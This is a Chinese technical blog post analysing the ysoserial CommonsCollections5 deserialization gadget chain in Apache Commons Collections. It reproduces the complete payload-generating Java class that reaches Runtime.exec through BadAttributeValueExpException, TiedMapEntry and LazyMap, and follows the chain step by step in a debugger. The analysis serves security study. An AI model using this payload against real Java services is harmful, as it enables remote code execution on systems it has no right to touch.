type
Post
status
Published
date
Dec 15, 2022
slug
summary
tags
工具
Java
category
技术分享
icon
password
Property
Feb 9, 2023 07:36 AM

前言

回顾一下CC1中,主要是利用动态代理调用AnnotationInvocationHandler.invoke(),然后在其中再调用LazyMap.get(not_exist_key),导致触发LazyMap绑定的Transformer。想想这个链能不能简单一点
💡
为什么不找一个readObject()中就有对成员变量调用get(xxx)方法的类?
CC5正是基于这个思路,因此这个gadget与CC11的区别仅在于从反序列化到ChainedTransformer.transform()之间,之后的链是一样的
该链利用条件
  1. 8u76之后添加了 javax.management.BadAttributeValueExpException  的readObject方法
  1. SecurityManager需要是关闭的
JDK≥8u76,先来看看CC5的利用代码
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); //首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例 //然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性, //最后返回BadAttributeValueExpException实例用于序列化。 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); //设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例 valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } }
从代码中可以看到在LazyMap实例化之前跟CC1一摸一样,接着往下看可以看到出现了新的朋友

TiedMapEntry

来看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那么之后getVaule()就能触发LazyMap绑定的Transformer,该类中还有equalshashCodetoString 方法有调用getValue(),也就是说在TiedMapEntry能直接或间接触发代码执行的有 equals 、hashCodetoStringgetValue这四个方法
public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public Object setValue(Object value) { if (value == this) { throw new IllegalArgumentException("Cannot set value to this map entry"); } else { return this.map.put(this.key, value); } } public boolean equals(Object obj) { if (obj == this) { return true; } else if (!(obj instanceof Entry)) { return false; } else { Entry other = (Entry)obj; Object value = this.getValue(); return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } } public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString() { return this.getKey() + "=" + this.getValue(); } }
那么接下来需要找个一个类能调用到TiedMapEntry中的toString等方法即可,但是该类要满足以下条件:
  1. 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
  1. 该类的readObject方法中有调用可控变量的toStringequelhashCodegetValue
满足这两个条件其实有很多,对应的分别有
  • 调用toStringBadAttributeValueExpException 对应CC5
  • 调用hashcodeHashMap,对应CC6

BadAttributeValueExpException

先来看看该类的源码
public class BadAttributeValueExpException extends Exception { /* Serial version */ private static final long serialVersionUID = -3105272988410493376L; /** * @serial A string representation of the attribute that originated this exception. * for example, the string value can be the return of {@code attribute.toString()} */ private Object val; /** * Constructs a BadAttributeValueExpException using the specified Object to * create the toString() value. * * @param val the inappropriate value. */ public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } /** * Returns the string representing the object. */ public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
可以看到,,val是一个Object类型的私有化变量,在 System.getSecurityManager() == null的情况下, 将会不管 valObj 的类型, 调用 toString 方法, 这里需要配合 org.apache.commons.collections.keyvalue.TiedMapEntry来使用, 其重写的 toString方法,所以只要把我们构造的TiedMapEntry实例通过反射赋值给val即可

调用链如下

Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

反序列化过程

刚刚说了是通过BadAttributeValueExpException对象触发序列化,所以直接先在该类的readObject()此处做断点
notion image
此时val成员变量即valObj就是payload中的TiedMapEntry实例,执行到valObj.toString();则会调用TiedMapEntry实例中的toString()方法,在toString()方法中则会接着调用实例中的getValue()方法
notion image
getValue()方法中的this.map.get(this.key),从利用代码中可以看到LazyMap实例赋值给了this.map,字符串foo赋值给了this.key。由于LazyMap实例中并不存在foo这个键,因此触发了绑定在LazyMap上的Transformer类的transform()方法
LazyMap#transform()
notion image
从这里开始就跟CC1一样了,这里会去调用this.factorytransform,也就是ChainedTransformertransform接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法
ChainedTransformer#transform(),开始遍历调用transformers数组中等对象
notion image
第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行
第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面
第四次执行里面的this.iMethodNameexecthis.iArgscalc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc弹出计算器
直至遍历结束的InvokerTransformer#transform()方法以完成代码执行
notion image

调用链与流程图

BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> RCE
notion image
notion image
Ysoserial-CC4利用链分析Ysoserial-CC6利用链分析